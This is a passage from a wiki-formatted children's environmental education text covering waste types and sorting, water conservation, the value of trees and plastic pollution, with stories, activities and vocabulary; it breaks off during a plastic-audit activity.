Their Communities |url=https://sesameworkshop.org/resources/empowering-kids-to-make-a-big-impact-in-their-communities/ |access-date=2026-09-14 |website=Sesame Workshop |language=en-US}}</ref> Children should respect others, avoid littering and report dangerous or dirty places to trusted adults. === Short Story: The Rubbish Behind the Library === Some pupils noticed rubbish behind their school library. They decided to clean the area with the help of their teacher. They collected the rubbish, placed it in bins and planted flowers near the library. The area became clean and beautiful. Other pupils followed their example. '''Lesson:''' Everyone can help to improve the community. === Activity and Discussion === # What is a community? # Name three ways of keeping your school clean. # Why should children care for their surroundings? # Organize a small classroom cleaning activity. == Chapter 2: Types of Waste and Every Piece of Rubbish Has a Place == === Introduction === Every day, people produce waste. We throw away food scraps, plastic bottles, paper, cans, old clothes, broken equipment, and many other things. Waste is a normal part of human life, but the way we handle it determines whether it becomes a danger or a useful resource. Waste that is thrown anywhere can make our surroundings dirty, block drainage channels, pollute water, attract pests, and spread disease. However, when waste is '''sorted, reused, recycled, treated, or disposed of correctly''', it can be managed safely. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. This chapter explains the main '''types of waste''' and introduces an important idea: '''every piece of rubbish has a proper place'''. ---- === 1. What Is Waste? === '''Waste''' is any material, substance, or object that a person no longer wants or needs and decides to discard.<ref>{{Cite web |title=What is waste? – KS2 Science curriculum |url=https://www.bbc.co.uk/bitesize/articles/z2rhcj6 |access-date=2026-09-14 |website=BBC Bitesize |language=en-GB}}</ref> Examples include: * Banana peels * Plastic bottles * Newspapers * Empty tins * Broken glass * Old batteries * Used clothes * Food leftovers * Broken electronic devices Not all waste is the same. Different materials have different effects on the environment and require different methods of handling. ---- === 2. Types of Waste === Waste can be classified in several ways. The most common classification is according to its '''nature and source'''. ==== A. Biodegradable Waste ==== '''Biodegradable waste''' is waste that can be broken down naturally by microorganisms such as bacteria and fungi. Examples include: * Fruit and vegetable peels * Food leftovers * Leaves * Grass * Animal manure * Paper and some untreated natural materials Biodegradable waste can often be turned into '''compost''', which is useful for improving soil. === Example === Instead of throwing banana peels into a general rubbish pile, they can be collected with other organic materials and composted. '''Remember:''' '''Biodegradable = can naturally break down.''' ---- ==== B. Non-Biodegradable Waste ==== '''Non-biodegradable waste''' does not break down easily through natural processes, or it may take a very long time to do so. Examples include: * Plastic bags * Plastic bottles * Glass * Some metals * Synthetic materials Some non-biodegradable materials can be '''reused or recycled''' rather than thrown away. === Why is it a problem? === When non-biodegradable waste is poorly managed, it can remain in the environment for long periods and contribute to land and water pollution. '''Remember:''' '''Non-biodegradable = does not easily break down naturally.''' ---- === 3. Recyclable Waste === '''Recyclable waste''' consists of materials that can be collected and processed into new products.<ref>{{Cite web |last=Gabriel |first=Mr |date=2024-09-12 |title=How to Dispose Waste Properly: A Guide to Proper Waste Management |url=https://whatisgreenliving.com/how-to-dispose-waste-properly/ |access-date=2026-09-14 |website=What is Green Living? |language=en-GB}}</ref> Common recyclable materials include: * Paper * Cardboard * Certain plastics * Aluminium cans * Steel cans * Glass bottles and containers For recycling to work effectively, materials should be '''sorted and kept reasonably clean'''.<ref>{{Cite web |title=Topic 2 Reusing in daily life – CICLO |url=https://ciclo-project.eu/topic/topic-2-reusing-in-daily-life/ |access-date=2026-09-14 |language=en-GB}}</ref> === Example === An empty metal drink can can be collected, processed, and used to make new metal products instead of being sent directly to a landfill. ---- === 4. Hazardous Waste === '''Hazardous waste''' is waste that can cause harm to people, animals, or the environment if it is handled or disposed of incorrectly. Examples include: * Used batteries * Certain chemicals * Pesticide containers * Some paints and solvents * Medical sharps * Some electronic waste * Certain cleaning products Hazardous waste should '''not simply be mixed with ordinary household rubbish'''. It may require special collection, treatment, or disposal. ==== Safety rule ==== Never play with, burn, open, or pour unknown chemicals or hazardous waste into drains, rivers, or onto the ground. ---- === 5. Electronic Waste === '''Electronic waste''', commonly called '''e-waste''', includes unwanted electrical and electronic equipment. Examples include: * Old mobile phones * Computers * Televisions * Radios * Chargers * Keyboards * Printers * Broken appliances Electronic devices contain valuable materials that can sometimes be recovered and reused. They may also contain substances that require careful handling. Therefore, unwanted electronics should be taken to appropriate collection or recycling facilities where available. ---- === 6. Medical Waste === '''Medical waste''' is waste produced during healthcare activities. Examples include: * Used syringes * Needles * Bandages * Gloves * Contaminated dressings * Certain medicines and medical materials Medical waste can pose health risks if it is not properly handled. For example, '''used needles should never be placed loosely into ordinary rubbish''', because they can injure people and potentially transmit infection. Healthcare facilities use special containers and procedures for managing such waste. ---- === 7. Construction and Demolition Waste === Construction activities produce waste such as: * Broken bricks * Concrete * Soil * Wood * Roofing materials * Scrap metal * Tiles Some of these materials can be reused in construction or recycled. Good construction waste management reduces unnecessary dumping and saves useful materials. ---- === 8. Liquid Waste === '''Liquid waste''' is waste in liquid form. Examples include: * Wastewater * Used cooking oil * Certain industrial liquids * Sewage * Some chemical liquids Liquid waste must be managed carefully because it can easily enter soil, drains, streams, lakes, and groundwater. '''Never pour hazardous liquids into a river, open drain, or onto bare soil.''' ---- === 9. Gaseous Waste === Some human activities release waste substances into the air in the form of gases or particles. Sources can include: * Vehicle exhaust * Industrial processes * Burning waste * Certain fuel-burning appliances Poor management of air pollutants can contribute to poor air quality and environmental damage. This is one reason '''open burning of rubbish is generally a poor waste-management practice''', especially when plastics and other materials are burned. ---- === 10. Every Piece of Rubbish Has a Place === The statement '''“Every piece of rubbish has a place”''' teaches us that waste should not be thrown carelessly. Different kinds of waste should go to appropriate destinations. A simple waste-sorting system can look like this: {| class="wikitable" !Type of waste !Examples !Suitable action |- |Organic waste |Food scraps, leaves |Composting |- |Paper/cardboard |Newspapers, boxes |Reuse or recycle |- |Plastics |Bottles, containers |Reuse or recycle where facilities exist |- |Glass |Bottles, jars |Reuse or recycle |- |Metals |Cans, scrap metal |Recycle |- |E-waste |Phones, computers |Special collection/recycling |- |Hazardous waste |Batteries, chemicals |Special handling |- |Medical waste |Needles, contaminated materials |Approved medical-waste system |- |General residual waste |Materials that cannot be recovered |Appropriate final disposal |} The exact collection system differs from one community to another, so people should follow the waste-sorting rules used by their local authority or waste-collection service. ---- === 11. The Waste Hierarchy === Good waste management does not begin with throwing things away. It follows a hierarchy that encourages people to prevent waste first. ==== 1. Refuse ==== Avoid unnecessary items when possible. '''Example:''' Refuse unnecessary single-use packaging. ==== 2. Reduce ==== Use fewer resources and produce less waste. '''Example:''' Buy only the food you are likely to use. ===== 3. Reuse ===== Use an item again instead of throwing it away. '''Example:''' Use a durable shopping bag repeatedly. ===== 4. Repair ===== Fix broken items when practical. '''Example:''' Repair a chair rather than immediately replacing it. ===== 5. Recycle ===== Process suitable materials into new products. '''Example:''' Recycle suitable paper, metal, glass, and plastics. ===== 6. Recover ===== Recover useful materials or energy from waste through appropriate processes. ===== 7. Dispose ===== Waste that cannot reasonably be reused, recycled, or recovered should be disposed of safely. '''The key lesson is: disposal should not be our first choice.''' ---- === 12. Why Proper Waste Management Matters === Proper waste management has many benefits. ==== Protects human health ==== Accumulated rubbish can attract flies, rats, and other pests. Poorly managed waste can also create opportunities for disease transmission. ==== Protects water ==== Waste dumped into waterways can contaminate rivers, lakes, and other sources of water. ==== Protects soil ==== Chemicals and other harmful substances can contaminate soil when waste is poorly disposed of. ==== Keeps communities clean ==== Clean streets, schools, homes, and public spaces are safer and more pleasant. ==== Saves resources ==== Recycling and reuse allow valuable materials to remain in use rather than constantly requiring new raw materials. ==== Reduces pollution ==== Sorting and treating waste properly can reduce pollution caused by dumping and inappropriate burning. ---- === 13. Waste Management at Home and School === Everyone can contribute to better waste management. ==== At home ==== * Keep rubbish in suitable containers. * Separate organic waste from recyclable materials where possible. * Compost suitable organic waste. * Reuse containers and bags. * Avoid unnecessary single-use products. * Keep hazardous materials separate. * Never dump rubbish in drainage channels or waterways. ==== At school ==== Schools can: * Provide clearly labelled waste bins. * Teach learners about waste separation. * Organise clean-up activities. * Encourage reusable water bottles. * Collect paper for recycling where facilities exist. * Compost suitable food and garden waste. * Ensure sharp or hazardous materials are handled safely. ---- === 14. A Simple Waste-Sorting Activity === Imagine that you have the following items: # Banana peel # Plastic water bottle # Newspaper # Broken battery # Glass bottle # Old mobile phone # Food leftovers # Used needle How should they be handled? * '''Banana peel →''' organic waste/compost * '''Plastic bottle →''' reuse or appropriate plastic recycling * '''Newspaper →''' reuse or paper recycling * '''Battery →''' special battery/e-waste collection * '''Glass bottle →''' reuse or glass recycling * '''Old mobile phone →''' e-waste collection/recycling * '''Food leftovers →''' composting where appropriate * '''Used needle →''' approved sharps/medical-waste disposal This demonstrates why '''sorting waste at the point where it is produced''' is so important. ---- === 15. Key Vocabulary === '''Waste:''' Material that is discarded because it is no longer wanted or needed. '''Biodegradable:''' Able to break down naturally through biological processes. '''Non-biodegradable:''' Not easily broken down naturally. '''Recycle:''' Process used materials so they can be made into new products. '''Reuse:''' Use an item again instead of discarding it. '''Compost:''' Decomposed organic material that can be used to improve soil. '''Hazardous waste:''' Waste that can pose a danger to people or the environment. '''E-waste:''' Discarded electrical and electronic equipment. === Short Story: Amina's Big Idea === Amina saw many plastic bottles around her school. She suggested collecting the bottles and using some of them to make flower containers. Her classmates helped her. Soon, the school had fewer bottles on the ground and more beautiful flowers. '''Lesson:''' Waste materials can sometimes be reused in useful ways. === Practical Activity === Collect safe reusable materials and make a useful object, such as a flowerpot, pencil holder or decoration. == Chapter 3: Water Is Life == === Introduction === Water is one of the most important resources on Earth. Every living thing needs water to survive. People, animals, and plants all depend on water for life and growth. We use water every day for drinking, cooking, bathing, washing clothes, cleaning, farming, and many other activities. Water is also important in industries, transport, energy production, and recreation. Because water is essential for life, we must use it wisely, protect it from pollution, and make sure that everyone has access to safe water. ---- === 1. What Is Water? === Water is a natural substance made up of hydrogen and oxygen. In its pure form, it has no colour, smell, or taste. Water exists in three main states: * '''Liquid''' – such as water in rivers, lakes, and oceans. * '''Solid''' – such as ice and snow. * '''Gas''' – water vapour found in the atmosphere. Water constantly moves between these states through the '''water cycle'''. ---- === 2. Sources of Water === Water comes from different natural sources. ==== A. Rainwater ==== Rain is an important source of fresh water. Rainwater fills rivers, lakes, wetlands, and reservoirs and also helps to replenish groundwater. People can collect rainwater from rooftops and store it in tanks for appropriate household or other uses. ==== B. Rivers and Streams ==== Rivers and streams provide water for domestic use, agriculture, livestock, industry, and ecosystems. However, water from rivers may contain microorganisms, chemicals, or other contaminants. It may therefore require appropriate treatment before it is safe to drink. ==== C. Lakes ==== Lakes contain large amounts of water and support people, plants, animals, and economic activities. Lakes can provide water for communities, fishing, agriculture, transport, and recreation. ==== D. Groundwater ==== Groundwater is water stored beneath the Earth's surface in soil and rock. It can be accessed through: * Wells * Boreholes * Springs Groundwater is an important source of drinking water in many communities. ==== E. Wetlands ==== Wetlands are areas where water covers or saturates the land for part or all of the year. They provide important environmental services, including storing water, supporting wildlife, and helping to filter pollutants. ---- === 3. Why Water Is Life === Water is essential for almost every activity that supports life. ==== A. Water for Drinking ==== The human body needs water to function properly. People lose water through activities such as breathing, sweating, and urination, so they need to replace it regularly. Safe drinking water is important for maintaining good health. ==== B. Water for Food Production ==== Farmers need water to grow crops and keep animals healthy. Water is used for: * Irrigation * Watering livestock * Cleaning agricultural equipment * Processing some agricultural products Without sufficient water, food production can be seriously affected. ==== C. Water for Plants ==== Plants need water for growth and survival. Water helps plants transport nutrients and supports photosynthesis. Without enough water, plants may wilt, stop growing, or die. ==== D. Water for Animals ==== Animals need water for drinking and other biological processes. Rivers, lakes, wetlands, and other water bodies also provide habitats for many animals. ==== E. Water for Hygiene and Sanitation ==== Water is essential for: * Washing hands * Bathing * Cleaning homes * Washing clothes * Cleaning utensils * Flushing toilets Good hygiene and sanitation help protect communities from disease. ==== F. Water in Industry ==== Industries use water for many purposes, including: * Manufacturing * Cooling machinery * Cleaning * Food processing * Producing certain goods Industries must manage water responsibly and prevent harmful substances from entering water sources. ---- === 4. The Water Cycle === Water does not simply disappear after it is used. It moves continuously through the environment in a process called the '''water cycle'''. The main stages include: ==== 1. Evaporation ==== Heat from the Sun causes water from oceans, lakes, rivers, and other surfaces to change into water vapour. ==== 2. Transpiration ==== Plants release water vapour into the atmosphere through tiny openings in their leaves. ==== 3. Condensation ==== Water vapour rises, cools, and forms tiny droplets that make clouds. ==== 4. Precipitation ==== When water droplets become sufficiently large, they fall to Earth as: * Rain * Snow * Sleet * Hail ==== 5. Collection and Infiltration ==== Water collects in rivers, lakes, oceans, and other water bodies. Some water also soaks into the ground and becomes groundwater. The cycle then continues. ---- === 5. Clean Water and Polluted Water === Not all water is safe to drink. '''Clean and safe water''' is water that does not contain harmful levels of microorganisms, chemicals, or other contaminants. '''Polluted water''' contains substances that can harm people, animals, plants, or ecosystems. Water pollution can come from many sources. === Examples include: === * Sewage * Plastic waste * Oil * Industrial chemicals * Agricultural chemicals * Animal waste * Household waste * Soil and sediment ---- === 6. Effects of Water Pollution === Water pollution can have serious consequences. ==== A. Human Health ==== Contaminated water can contribute to diseases and other health problems, particularly where sanitation and water treatment are inadequate. ==== B. Aquatic Life ==== Pollution can harm fish, insects, plants, amphibians, and other organisms living in water. ==== C. Food Production ==== Polluted water used for agriculture can affect crops, livestock, and food safety. ==== D. The Environment ==== Pollution can damage aquatic ecosystems and reduce the quality of habitats. ==== E. Economic Activities ==== Fishing, tourism, agriculture, and other activities can suffer when water resources become polluted. ---- === 7. How We Can Protect Water === Everyone has a role to play in protecting water resources. ==== At Home ==== * Do not throw rubbish into drains, rivers, or lakes. * Repair leaking taps and pipes. * Use only the water you need. * Avoid wasting water while washing. * Dispose of chemicals and oils appropriately. * Keep toilets and sanitation facilities clean. ==== At School ==== Students can: * Turn off taps after use. * Report leaking taps and pipes. * Keep school compounds free from litter. * Avoid throwing rubbish into drainage channels. * Participate in water-conservation activities. * Teach others about the importance of water. ==== In the Community ==== Communities can: * Protect wells, springs, rivers, and wetlands. * Prevent dumping near water sources. * Plant and protect vegetation where appropriate. * Maintain drainage and sanitation systems. * Encourage responsible water use. * Support safe water and sanitation projects. ---- === 8. Water Conservation === '''Water conservation''' means using water carefully and avoiding unnecessary waste. Simple actions can save large amounts of water. === Examples === Instead of leaving a tap running while brushing your teeth, turn it off when water is not needed. When washing clothes or dishes, use a reasonable amount of water rather than allowing water to run continuously. Leaking taps and pipes should be repaired because a small leak can waste water over time. Rainwater can also be collected and used for suitable purposes. ---- === 9. The Importance of Wetlands and Forests === Natural ecosystems help protect water resources. ==== Wetlands ==== Wetlands can store water, provide habitats, and help remove some pollutants from water. ==== Forests and Vegetation ==== Vegetation helps protect soil and can reduce erosion and surface runoff. Vegetated areas around water bodies can therefore contribute to the protection of water quality. Destroying wetlands and removing vegetation carelessly can increase environmental problems such as erosion, flooding, and water pollution. ---- === 10. Safe Drinking Water === Water intended for drinking should be obtained from a safe source and, where necessary, treated appropriately. Methods of treating water may include: * Boiling * Filtration * Chlorination * Other approved water-treatment methods The correct treatment method depends on the source and the contaminants that may be present. Water should also be stored safely in clean, covered containers to reduce the chance of contamination. ---- === 11. Water and Our Future === Fresh water is limited and unevenly distributed. Some communities have reliable access to safe water, while others face shortages or difficulties accessing clean water. Population growth, pollution, climate variability, changing land use, and increasing demand can place pressure on water resources. Protecting water today helps ensure that future generations can also benefit from this essential resource. ---- === 12. Practical Activity: Saving Water === ==== Activity ==== For one day, observe how water is used at home or school. Make a list of activities such as: * Drinking * Cooking * Bathing * Washing hands * Washing clothes * Cleaning * Watering plants Then identify activities where water may be wasted. ==== Questions ==== # Which activity uses the most water? # Where is water being wasted? # How could the waste be reduced? # What can you do personally to save water? Discuss your answers with your classmates or family members. ---- === 13. Key Vocabulary === '''Water:''' A natural substance essential for life. '''Water cycle:''' The continuous movement of water through the environment. '''Evaporation:''' The change of liquid water into water vapour. '''Condensation:''' The change of water vapour into liquid droplets. '''Precipitation:''' Water falling from clouds as rain, snow, sleet, or hail. '''Groundwater:''' Water stored beneath the Earth's surface. '''Water pollution:''' The contamination of water by harmful substances. '''Water conservation:''' The careful and responsible use of water. '''Wetland:''' Land that is covered or saturated with water for part or all of the year. '''Sanitation:''' Systems and practices for safely managing human waste and maintaining hygiene. ---- === 14. Summary === Water is essential for '''people, animals, plants, agriculture, sanitation, industry, and ecosystems'''. It comes from sources such as rain, rivers, lakes, groundwater, and wetlands. Water moves continuously through the '''water cycle''', but clean and accessible freshwater is a valuable resource that must be protected. Pollution, waste, careless use, and damage to natural ecosystems can threaten water resources. We can help by '''saving water, preventing pollution, protecting water sources, practising good sanitation, and using water responsibly'''. The most important lesson is simple:<blockquote>'''Water is life. Protect every drop.'''</blockquote> ==== Short Story: The Dirty Stream ==== Children in a village noticed that their stream was becoming dirty. Some people were throwing rubbish into it. The children spoke to their teacher and community leaders. Together, they organised a clean-up and encouraged people to stop dumping rubbish in the stream. '''Lesson:''' Protecting water requires teamwork and responsible behavior. ==== Water-Protection Challenge ==== For one week: * Close taps properly after use. * Use only the water you need. * Keep water containers clean. * Encourage others not to pollute water sources. == Chapter 4: Trees == === Introduction === Trees are among the most useful living things on Earth. They grow in forests, gardens, farms, school compounds, along roads, and around our homes. Trees provide food, shelter, shade, materials, and many other benefits. Trees also help protect the environment. They absorb carbon dioxide from the atmosphere, release oxygen through photosynthesis, help protect soil from erosion, and provide habitats for many animals. For these reasons, trees can truly be described as '''our friends'''. However, trees need care and protection so that they can continue benefiting people and the environment. ---- === 1. What Is a Tree? === A tree is a large plant with a woody stem or trunk, branches, leaves, and roots. The main parts of a tree include: * '''Roots''' – anchor the tree in the soil and absorb water and minerals. * '''Trunk''' – supports the tree and transports water and nutrients. * '''Branches''' – hold the leaves, flowers, and fruits. * '''Leaves''' – make food for the tree through photosynthesis. * '''Flowers''' – help many trees reproduce. * '''Fruits and seeds''' – help produce new trees. Trees vary greatly in size, shape, and appearance. ---- === 2. Trees Give Us Oxygen === Trees and other green plants carry out '''photosynthesis'''. During photosynthesis, plants use: * Sunlight * Water * Carbon dioxide to produce food, while releasing oxygen into the atmosphere. Oxygen is needed by humans and many animals for respiration. Trees therefore play an important role in maintaining the gases that support life. ---- === 3. Trees Give Us Food === Many trees provide food for people and animals. Examples include: * Mango trees * Avocado trees * Orange trees * Jackfruit trees * Banana plants * Coconut palms Trees can provide fruits, nuts, seeds, leaves, and other edible products. Animals also depend on trees for food. ---- === 4. Trees Provide Shade === Trees provide shade from strong sunlight. People can sit under trees to rest, study, talk, or relax. Trees around homes, schools, parks, and public spaces can make these places more comfortable. Shade from trees can also help reduce the amount of direct sunlight reaching buildings and the ground. ---- === 5. Trees Provide Homes for Animals === Trees are important habitats for many living organisms. Birds may build nests in branches. Insects may live on leaves and bark. Monkeys, squirrels, reptiles, and other animals may use trees for shelter, food, or movement. A large tree can therefore support many different forms of life. When trees are destroyed, animals can lose their homes and sources of food. ---- === 6. Trees Protect the Soil === Tree roots hold soil together. When heavy rain falls on bare soil, it can wash soil away. This process is called '''soil erosion'''. Trees can help reduce erosion because: * Their roots hold soil together. * Their leaves and branches reduce the force of falling rain. * Fallen leaves cover the soil. * Tree-covered land can slow surface runoff. Protecting trees is therefore one way of helping to protect soil. ---- === 7. Trees Help Protect Water === Trees and other vegetation play an important role in the water cycle. Their roots help water enter and move through the soil. Vegetation can also reduce soil erosion and the amount of sediment carried into rivers and lakes. Trees growing near water bodies can therefore contribute to the protection of water resources. ---- === 8. Trees Help Fight Climate Change === Trees absorb '''carbon dioxide''', a greenhouse gas, as they grow. Through photosynthesis, trees use carbon dioxide to make food. Some of the carbon becomes stored in the tree's wood, roots, and other parts. Forests and other ecosystems therefore store significant amounts of carbon. Protecting existing forests and planting appropriate trees can contribute to efforts to address climate change, although trees are only one part of the solution. ---- === 9. Trees Provide Materials === Trees provide materials that people use in everyday life. Wood can be used to make: * Furniture * Doors * Houses * Poles * Tools * Paper products Some trees also provide materials such as: * Rubber * Cork * Resins * Fibres * Oils These materials support many livelihoods and industries. However, trees should be harvested responsibly, and forests should be managed sustainably. ---- === 10. Trees Provide Medicine === Some trees contain substances that have been used traditionally or scientifically in medicines and other health-related products. Examples of trees associated with traditional or medicinal uses include: * Neem * Eucalyptus * Cinchona * Some species of acacia Medicinal plants should be used carefully. Traditional knowledge does not automatically mean that a plant is safe or effective for every medical condition. ---- === 11. Trees Improve the Environment === Trees contribute to healthier surroundings in several ways. They can: * Provide habitats for wildlife. * Help reduce soil erosion. * Store carbon. * Provide shade. * Improve the appearance of landscapes. * Reduce wind speeds in some areas. * Contribute to cleaner and cooler local environments. Trees in towns and cities can be especially valuable because they provide shade and green spaces among buildings and roads. ---- === 12. Trees and the Air We Breathe === Trees interact with the atmosphere in important ways. Their leaves absorb carbon dioxide during photosynthesis and release oxygen. Trees can also trap some airborne particles on their leaves. However, trees do not remove all air pollution, and planting the right species in appropriate locations is important. ---- === 13. Why People Cut Down Trees === People cut down trees for different reasons. These include: * Getting firewood * Producing charcoal * Obtaining timber * Clearing land for farming * Building houses and roads * Producing paper and other products Some tree harvesting is necessary for human needs. The problem arises when trees are removed '''faster than they can naturally or deliberately be replaced'''. This can lead to '''deforestation'''. ---- === 14. Effects of Deforestation === '''Deforestation''' is the large-scale removal of forests or trees from an area. Deforestation can result in: * Loss of wildlife habitats * Increased soil erosion * Loss of biodiversity * Reduced carbon storage * Changes in local water cycles * Loss of valuable forest resources When forests are cleared without proper management, the environmental and social consequences can be serious. ---- === 15. How We Can Protect Trees === Everyone can help protect trees. ==== At Home ==== * Plant suitable trees. * Avoid unnecessary cutting of trees. * Use wood and paper responsibly. * Protect young trees from damage. * Compost suitable organic waste and return nutrients to the soil where appropriate. ==== At School ==== Students can: * Plant and care for trees. * Avoid damaging tree trunks and branches. * Keep school gardens clean. * Water young trees when necessary. * Learn about local tree species. * Organise tree-care activities. ==== In the Community ==== Communities can: * Protect forests and woodlands. * Plant appropriate native or well-adapted species. * Prevent uncontrolled cutting. * Encourage sustainable forestry. * Protect trees along rivers and other sensitive areas. * Educate people about the value of trees. ---- === 16. Planting a Tree === Planting a tree is useful, but simply putting a seedling in the ground is not enough. The tree must be cared for. ==== Basic steps ==== # '''Choose a suitable species''' for the local environment. # '''Choose an appropriate location''' with enough space for the mature tree. # '''Prepare the soil''' and dig a suitable planting hole. # '''Plant the seedling carefully.''' # '''Water it when necessary''', especially during dry periods. # '''Protect it from animals and damage.''' # '''Remove competing weeds when appropriate.''' # '''Continue caring for the tree as it grows.''' A healthy mature tree may take many years to develop, so tree planting requires patience. ---- === 17. Trees and Responsibility === Trees belong to a wider ecosystem. When we care for them, we are also helping many other organisms. We should remember:<blockquote>'''Plant a tree, care for a tree, and protect a tree.'''</blockquote>Planting trees is important, but '''protecting existing mature trees is also very valuable''' because mature trees already provide established habitat, shade, and carbon storage. ---- === 18. Practical Activity: Adopt a Tree === Choose a tree at your school or home. Observe it regularly and record: * Its height or approximate size * The shape of its leaves * Whether it has flowers or fruits * Animals or insects found on it * Changes you observe over several weeks Give the tree a name if you wish and create a simple care schedule. === Questions === # What type of tree did you observe? # What benefits does it provide? # Which animals use it? # How can you protect it? # What changes did you observe over time? ---- === 19. Key Vocabulary === '''Tree:''' A large woody plant with a trunk, branches, leaves, and roots. '''Photosynthesis:''' The process by which green plants use sunlight, water, and carbon dioxide to make food and release oxygen. '''Habitat:''' The natural home or environment of a plant or animal. '''Deforestation:''' The large-scale removal of forests or trees. '''Soil erosion:''' The removal of soil by agents such as water or wind. '''Biodiversity:''' The variety of living organisms in an area or on Earth. '''Forest:''' A large area dominated by trees and associated plants and animals. '''Sustainable:''' Using resources in a way that allows them to remain available for the future. '''Carbon dioxide:''' A gas in the atmosphere that plants use during photosynthesis and that also contributes to the greenhouse effect. ---- === 20. Summary === Trees are essential parts of our environment. They provide '''food, shade, oxygen, habitats, materials, and protection for soil and water'''. They also absorb carbon dioxide and store carbon. However, uncontrolled cutting and destruction of forests can cause deforestation, habitat loss, soil erosion, and other environmental problems. We can protect trees by '''planting appropriate trees, caring for young trees, reducing unnecessary tree cutting, using forest products responsibly, and protecting natural forests'''. Trees are more than sources of wood and fruit. They are living parts of ecosystems that support people, animals, and the environment.. === Activity === Plant or care for a tree or flower at home or school. Observe it regularly and record how it changes. == Chapter 5: Plastic Pollution == === Introduction === Plastic is one of the most widely used materials in the modern world. We find plastic in bottles, bags, food packaging, toys, containers, clothes, electronics, and many other products. Plastic is useful because it is light, strong, waterproof, and relatively inexpensive. However, when plastic is used carelessly and discarded improperly, it can become a serious environmental problem. '''Plastic pollution''' occurs when plastic waste accumulates in places where it can harm people, animals, and the environment. The good news is that everyone can help reduce plastic pollution by making responsible choices about how we use, reuse, collect, and dispose of plastic. ---- === 1. What Is Plastic? === Plastic is a group of materials made mainly from polymers. Many plastics are produced from fossil-fuel-based raw materials, although some newer plastics are made partly or entirely from other sources. Plastic can be manufactured into many different shapes and forms. Examples include: * Plastic bags * Bottles * Food containers * Packaging * Pipes * Toys * Furniture * Household equipment Because plastic can be made into so many useful products, it has become an important material in everyday life. ---- === 2. What Is Plastic Pollution? === '''Plastic pollution''' is the accumulation or presence of plastic waste in the environment in ways that cause harm or create environmental problems. Plastic waste can be found: * On streets * In drainage channels * In gardens * On beaches * In rivers and lakes * In wetlands * In forests * In agricultural areas * In oceans Plastic that is thrown on the ground can be carried by wind or rain into drainage systems and waterways. ---- === 3. Common Sources of Plastic Waste === Plastic waste comes from many activities. ==== At Home ==== Households may produce plastic waste from: * Shopping bags * Food packaging * Bottles * Containers * Wrappers * Disposable utensils ==== At School ==== Schools may produce plastic waste from: * Water bottles * Snack wrappers * Packaging * Plastic stationery * Disposable food containers ==== In Businesses ==== Shops, restaurants, markets, and industries may generate large amounts of plastic packaging and other plastic waste. ==== In Agriculture ==== Some agricultural activities use plastic materials such as containers, packaging, irrigation components, and other products. ---- === 4. Why Does Plastic Become a Problem? === Plastic itself can be useful. The problem often occurs when it is '''used unnecessarily, discarded carelessly, or poorly managed'''. Plastic can persist in the environment for long periods. Larger plastic items can break into smaller pieces called '''microplastics''' rather than simply disappearing. When plastic waste is not collected or managed properly, it can spread through the environment. ---- === 5. Plastic Pollution and Water === Plastic waste can enter rivers, lakes, wetlands, and oceans. It may be carried into waterways by: * Rain * Floodwater * Wind * Poorly managed rubbish * Drainage systems Once plastic enters water, it can interfere with aquatic ecosystems and make waterways dirty. Plastic waste can also block drains and contribute to flooding when drainage systems become obstructed. ---- === 6. Plastic Pollution and Animals === Animals can be harmed by plastic pollution. Some animals may mistake plastic for food and swallow it. This can cause injury, illness, or blockage of the digestive system. Animals can also become trapped or entangled in plastic materials such as bags, strings, fishing lines, and other discarded objects. Keeping plastic waste out of natural habitats helps protect wildlife. ---- === 7. Microplastics === '''Microplastics''' are very small pieces of plastic, generally less than 5 millimetres in size. They can be produced when larger plastic items break down into smaller pieces. Some microplastics also come directly from products or industrial processes. Because they are so small, microplastics can be difficult to remove from the environment. They have been detected in many environmental settings, including water, soil, air, and living organisms. Scientists continue to study their effects on ecosystems and human health. ---- === 8. Plastic Pollution and Soil === Plastic waste can accumulate on land and become mixed with soil. This can: * Make land unattractive and difficult to manage. * Interfere with farming activities. * Harm animals that live in or feed from the soil. * Break down into smaller plastic particles. * Carry pollutants into the wider environment. Farmers and communities can help by preventing plastic waste from being dumped on agricultural land. ---- === 9. Burning Plastic === Some people burn plastic waste because they want to get rid of it quickly. However, '''burning plastic in open fires is not a safe waste-management method'''. Depending on the type of plastic and how it burns, smoke can contain harmful pollutants and fine particles. Instead of burning plastic, it is better to: * Reduce unnecessary plastic use. * Reuse suitable items. * Separate recyclable materials. * Use appropriate waste-collection services. * Dispose of residual waste through approved systems. ---- === 10. Plastic Recycling === '''Recycling''' involves collecting and processing used materials so that they can become inputs for new products. Some types of plastic can be recycled. However, not every plastic item is accepted by every recycling system. Recycling facilities may differ in the types of plastics they can process. Therefore, people should follow the sorting instructions provided by their local waste-management or recycling service. ---- === 11. Reuse Before Recycling === Recycling is useful, but '''reuse can sometimes be even simpler'''. For example, a durable container can be used repeatedly instead of being thrown away after one use. Reusable alternatives may include: * Shopping bags * Water bottles * Food containers * Cups * Lunch boxes The best option depends on the product and how it is used. The important principle is to avoid unnecessary waste. ---- === 12. How Can We Reduce Plastic Pollution? === Everyone can take practical steps. ==== A. Refuse Unnecessary Plastic ==== If you do not need a disposable plastic item, avoid taking it. ==== B. Reduce Plastic Use ==== Choose products with less unnecessary packaging when practical. ==== C. Reuse ==== Use suitable durable products more than once. ==== D. Recycle ==== Separate recyclable plastic according to local collection requirements. ==== E. Dispose Properly ==== Put plastic waste into the correct waste container rather than throwing it on the ground. ==== F. Keep Waterways Clean ==== Never throw plastic into rivers, lakes, wetlands, drainage channels, or other water bodies. ---- === 13. Plastic Pollution at School === Students can help reduce plastic pollution at school. They can: * Carry reusable water bottles. * Avoid unnecessary disposable packaging. * Use rubbish bins correctly. * Separate recyclable waste where a recycling system exists. * Participate in clean-up activities. * Encourage classmates not to litter. * Report overflowing rubbish bins to teachers or school administrators. A clean school environment begins with responsible everyday habits. ---- === 14. Plastic Pollution in the Community === Communities can work together to reduce plastic pollution. Useful actions include: * Organising clean-up activities. * Providing appropriate rubbish bins. * Supporting waste collection. * Encouraging reusable shopping bags. * Educating residents about waste separation. * Preventing dumping in drainage channels. * Supporting responsible recycling initiatives. Businesses can also help by reducing unnecessary packaging and improving the collection and management of plastic waste. ---- === 15. The Plastic Pollution Solution === There is no single solution to plastic pollution. A successful approach involves several actions: '''Prevent → Reduce → Reuse → Recycle → Dispose safely''' This means we should think about waste '''before''' we create it. For example:<blockquote>Instead of buying a disposable plastic bottle every day, a person may carry a suitable reusable bottle and refill it with safe drinking water.</blockquote>Small changes repeated by many people can make a significant difference. ---- === 16. Practical Activity: Plastic Audit === ==== Activity ==== For one day, collect or record the plastic waste produced by your household or class. 